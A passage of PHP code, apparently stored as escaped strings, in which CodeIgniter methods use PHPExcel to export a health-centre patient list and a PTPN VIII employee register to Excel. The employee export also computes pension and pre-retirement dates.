Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Agama');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Pekerjaan');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Nomor HP');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('K2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:K2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(25);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('K')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->patient_noregis);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, strval($v->patient_noktp));\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->patient_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->patient_sex);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->patient_datebirth);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->patient_religion);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->patient_job);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->patient_phone);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->patient_address);\n\t\t\t\t\t\t\n\t\t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('K' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('K' . $no, $v->patient_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:K' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar Pasien Aplikasi SN Health Center.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/patient');\n \t\t}", "public function export()\n {\n include APPPATH . 'third_party/PHPExcel.php';\n\n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n\n date_default_timezone_set('Asia/Jakarta');\n $date = date(\"mY\");\n\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('Admin PTPN VIII (' .$this->session->userdata('status_login'). ')')\n ->setLastModifiedBy('Admin PTPN VIII (' .$this->session->userdata('status_login'). ')')\n ->setTitle(\"Data A1\" .$date)\n ->setSubject(\"A1\" .$date)\n ->setDescription(\"Laporan Data A1\" .$date)\n ->setKeywords(\"Data A1\" .$date);\n\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n // Buat header tabel nya pada baris ke 1\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"NPP\");\n $excel->setActiveSheetIndex(0)->setCellValue('B1', \"NAMA\");\n $excel->setActiveSheetIndex(0)->setCellValue('C1', \"NM_PGL\");\n $excel->setActiveSheetIndex(0)->setCellValue('D1', \"GLR_DPN\");\n $excel->setActiveSheetIndex(0)->setCellValue('E1', \"GLR_BLK\");\n $excel->setActiveSheetIndex(0)->setCellValue('F1', \"TPT_LAHIR\");\n $excel->setActiveSheetIndex(0)->setCellValue('G1', \"TGL_LAHIR\");\n $excel->setActiveSheetIndex(0)->setCellValue('H1', \"KELAMIN\");\n $excel->setActiveSheetIndex(0)->setCellValue('I1', \"GOL_DARAH\");\n $excel->setActiveSheetIndex(0)->setCellValue('J1', \"AGAMA\");\n $excel->setActiveSheetIndex(0)->setCellValue('K1', \"ALAMAT\");\n $excel->setActiveSheetIndex(0)->setCellValue('L1', \"KOTA\");\n $excel->setActiveSheetIndex(0)->setCellValue('M1', \"TINGGAL\");\n $excel->setActiveSheetIndex(0)->setCellValue('N1', \"SIPIL\");\n $excel->setActiveSheetIndex(0)->setCellValue('O1', \"STAT_IS\");\n $excel->setActiveSheetIndex(0)->setCellValue('P1', \"TGL_NIKAH\");\n $excel->setActiveSheetIndex(0)->setCellValue('Q1', \"TGL_CERAI\");\n $excel->setActiveSheetIndex(0)->setCellValue('R1', \"KANDUNG\");\n $excel->setActiveSheetIndex(0)->setCellValue('S1', \"ANGKAT\");\n $excel->setActiveSheetIndex(0)->setCellValue('T1', \"TANGGUNG\");\n $excel->setActiveSheetIndex(0)->setCellValue('U1', \"TGL_PPH\");\n $excel->setActiveSheetIndex(0)->setCellValue('V1', \"KD_PEND\");\n $excel->setActiveSheetIndex(0)->setCellValue('W1', \"TGL_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('X1', \"NO_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('Y1', \"KD_KELAS\");\n $excel->setActiveSheetIndex(0)->setCellValue('Z1', \"KLS_TMT\");\n $excel->setActiveSheetIndex(0)->setCellValue('AA1', \"KLS_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AB1', \"GOL\");\n $excel->setActiveSheetIndex(0)->setCellValue('AC1', \"MK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AD1', \"GOL_TMT\");\n $excel->setActiveSheetIndex(0)->setCellValue('AE1', \"GOL_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AF1', \"GPO\");\n $excel->setActiveSheetIndex(0)->setCellValue('AG1', \"KD_KBN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AH1', \"KD_ADF\");\n $excel->setActiveSheetIndex(0)->setCellValue('AI1', \"KD_JAB\");\n $excel->setActiveSheetIndex(0)->setCellValue('AJ1', \"NAMA_JAB\");\n $excel->setActiveSheetIndex(0)->setCellValue('AK1', \"KD_BUD\");\n $excel->setActiveSheetIndex(0)->setCellValue('AL1', \"JAB_TMT\");\n $excel->setActiveSheetIndex(0)->setCellValue('AM1', \"JAB_SK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AN1', \"JAB_TGL\");\n $excel->setActiveSheetIndex(0)->setCellValue('AO1', \"ASTEK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AP1', \"TASPEN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AQ1', \"NO_KK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AR1', \"NO_NIK\");\n $excel->setActiveSheetIndex(0)->setCellValue('AS1', \"NO_BPJS\");\n $excel->setActiveSheetIndex(0)->setCellValue('AT1', \"TGL_MPP\");\n $excel->setActiveSheetIndex(0)->setCellValue('AU1', \"TGL_PEN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AV1', \"MKTHN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AW1', \"MKBLN\");\n $excel->setActiveSheetIndex(0)->setCellValue('AX1', \"MKHR\");\n $excel->setActiveSheetIndex(0)->setCellValue('AY1', \"MPP\");\n $excel->setActiveSheetIndex(0)->setCellValue('AZ1', \"STAT_REC\");\n\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('B1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('C1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('D1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('E1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('F1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('G1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('H1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('I1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('J1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('K1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('L1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('M1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('N1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('O1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('P1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_DATE_DDMMYYYY);\n $excel->getActiveSheet()->getStyle('Q1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_DATE_DDMMYYYY);\n $excel->getActiveSheet()->getStyle('R1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('S1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('T1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('U1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('V1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('W1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('X1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Y1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('Z1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AA1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AB1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AC1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AD1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AE1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AF1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AG1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AH1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AI1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AJ1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AK1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AL1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AM1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AN1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AO1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AP1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AQ1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AR1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AS1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AT1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AU1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AV1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AW1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AX1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AY1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n $excel->getActiveSheet()->getStyle('AZ1')->applyFromArray($style_col)->getNumberFormat()->setFormatCode(PHPExcel_Style_NumberFormat::FORMAT_NUMBER);\n\n // Menampilkan semua data dari tabel rekao A1\n $numrow = 2; // Set baris pertama untuk isi tabel adalah baris ke 2\n $sdm01 = $this->Model_admin->tampil_a1();\n foreach ($sdm01->result_array() as $i) { // Lakukan looping pada variabel siswa\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('A' . $numrow, $i['npp'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValue('B' . $numrow, $i['nama']);\n $excel->setActiveSheetIndex(0)->setCellValue('C' . $numrow, $i['nm_pgl']);\n $excel->setActiveSheetIndex(0)->setCellValue('D' . $numrow, $i['glr_dpn']);\n $excel->setActiveSheetIndex(0)->setCellValue('E' . $numrow, $i['glr_blk']);\n $excel->setActiveSheetIndex(0)->setCellValue('F' . $numrow, $i['kota_lhr']);\n $excel->setActiveSheetIndex(0)->setCellValue('G' . $numrow, date('d-m-Y', strtotime($i['tgl_lhr'])));\n $excel->setActiveSheetIndex(0)->setCellValue('H' . $numrow, $i['j_kelamin']);\n $excel->setActiveSheetIndex(0)->setCellValue('I' . $numrow, $i['gol_darah']);\n $excel->setActiveSheetIndex(0)->setCellValue('J' . $numrow, $i['agama']);\n $excel->setActiveSheetIndex(0)->setCellValue('K' . $numrow, $i['alamat_tgl']);\n $excel->setActiveSheetIndex(0)->setCellValue('L' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('M' . $numrow, '1');\n $excel->setActiveSheetIndex(0)->setCellValue('N' . $numrow, $i['st_sipil']);\n\n $sdm02 = $this->Model_admin->get_sdm02_a1($i['npp']);\n foreach ($sdm02 as $a) {\n\n $excel->setActiveSheetIndex(0)->setCellValue('O' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('P' . $numrow, date('d-m-Y', strtotime($a['tgl_nkh'])));\n $excel->setActiveSheetIndex(0)->setCellValue('Q' . $numrow, date('d-m-Y', strtotime($a['tgl_cerai'])));\n }\n\n $sdm02 = $this->Model_admin->get_sdm02_a1_anak($i['npp']);\n foreach ($sdm02 as $b) {\n $excel->setActiveSheetIndex(0)->setCellValue('R' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('S' . $numrow, '');\n $excel->setActiveSheetIndex(0)->setCellValue('T' . $numrow, $b['tanggungan']);\n $excel->setActiveSheetIndex(0)->setCellValue('U' . $numrow, '');\n }\n\n $sdm03 = $this->Model_admin->get_sdm03_a1($i['npp']);\n foreach ($sdm03 as $c) {\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('V' . $numrow, $c['kd_pend'], PHPExcel_Cell_DataType::TYPE_STRING);\n }\n\n $excel->setActiveSheetIndex(0)->setCellValue('W' . $numrow, date('d-m-Y', strtotime($i['tgl_masuk'])));\n\n $sdm08 = $this->Model_admin->get_sdm08_a1($i['npp']);\n foreach ($sdm08 as $d) {\n\n $excel->setActiveSheetIndex(0)->setCellValue('X' . $numrow, $d['no_sk']);\n }\n\n $sdm16 = $this->Model_admin->get_sdm16_a1($i['npp']);\n foreach ($sdm16 as $e) {\n $excel->setActiveSheetIndex(0)->setCellValue('Y' . $numrow, $e['kd_kelas']);\n $excel->setActiveSheetIndex(0)->setCellValue('Z' . $numrow, date('d-m-Y', strtotime($e['kls_tmt'])));\n $excel->setActiveSheetIndex(0)->setCellValue('AA' . $numrow, $e['kls_sk']);\n }\n\n $sdm16 = $this->Model_admin->get_sdm16_a1_akhir($i['npp']);\n foreach ($sdm16 as $a) {\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AB' . $numrow, $a['golongan'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AC' . $numrow, $a['mk'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValue('AD' . $numrow, date('d-m-Y', strtotime($a['gol_tmt'])));\n $excel->setActiveSheetIndex(0)->setCellValue('AE' . $numrow, $a['gol_sk']);\n $excel->setActiveSheetIndex(0)->setCellValue('AF' . $numrow, '');\n }\n\n $sdm08 = $this->Model_admin->get_sdm08_a1_akhir($i['npp']);\n foreach ($sdm08 as $a) {\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AG' . $numrow, $a['kd_kbn'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AH' . $numrow, $a['kd_adf'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AI' . $numrow, $a['kd_jab'], PHPExcel_Cell_DataType::TYPE_STRING);\n\n $jab = $this->Model_admin->get_jabatan($a['kd_jab']);\n foreach ($jab as $jab) {\n $excel->setActiveSheetIndex(0)->setCellValue('AJ' . $numrow, $jab['nama']);\n }\n\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AK' . $numrow, $a['kd_bud'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValue('AL' . $numrow, date('d-m-Y', strtotime($a['jab_tmt'])));\n $excel->setActiveSheetIndex(0)->setCellValue('AM' . $numrow, $a['jab_sk']);\n $excel->setActiveSheetIndex(0)->setCellValue('AN' . $numrow, date('d-m-Y', strtotime($a['jab_tgl'])));\n }\n\n\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AO' . $numrow, $i['no_astek'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AP' . $numrow, $i['no_pens'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AQ' . $numrow, $i['no_kk'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AR' . $numrow, $i['no_nik'], PHPExcel_Cell_DataType::TYPE_STRING);\n $excel->setActiveSheetIndex(0)->setCellValueExplicit('AS' . $numrow, $i['no_bpjs'], PHPExcel_Cell_DataType::TYPE_STRING);\n\n $sdm16 = $this->Model_admin->get_sdm16_a1_akhir($i['npp']);\n $golongan = $sdm16[0]['golongan'];\n $golongan = (int)$golongan;\n if ($golongan >= 0 and $golongan <= 8) {\n $tgl_pen = date('Y-m-d', strtotime('+55 year +1 month', strtotime($i['tgl_lhr'])));\n $tgl_mpp = date('Y-m-d', strtotime('-6 month', strtotime($tgl_pen)));\n $excel->setActiveSheetIndex(0)->setCellValue('AT' . $numrow, date('01-m-Y', strtotime($tgl_mpp)));\n $excel->setActiveSheetIndex(0)->setCellValue('AU' . $numrow, date('01-m-Y', strtotime($tgl_pen)));\n }\n if ($golongan >= 9 and $golongan <= 16) {\n $tgl_pen = date('Y-m-d', strtotime('+56 year +1 month', strtotime($i['tgl_lhr'])));\n $tgl_mpp = date('Y-m-d', strtotime('-6 month', strtotime($tgl_pen)));\n $excel->setActiveSheetIndex(0)->setCellValue('AT' . $numrow, date('01-m-Y', strtotime($tgl_mpp)));\n $excel->setActiveSheetIndex(0)->setCellValue('AU' . $numrow, date('01-m-Y', strtotime($tgl_pen)));\n }\n\n $sdm01 = $this->Model_admin->tampil_a1($i['npp'])->result_array();\n $skrng = date_create($sdm01[0]['tgl_masuk']);\n $tgl_pen = date_create($tgl_pen);\n\n $diff = date_diff($skrng, 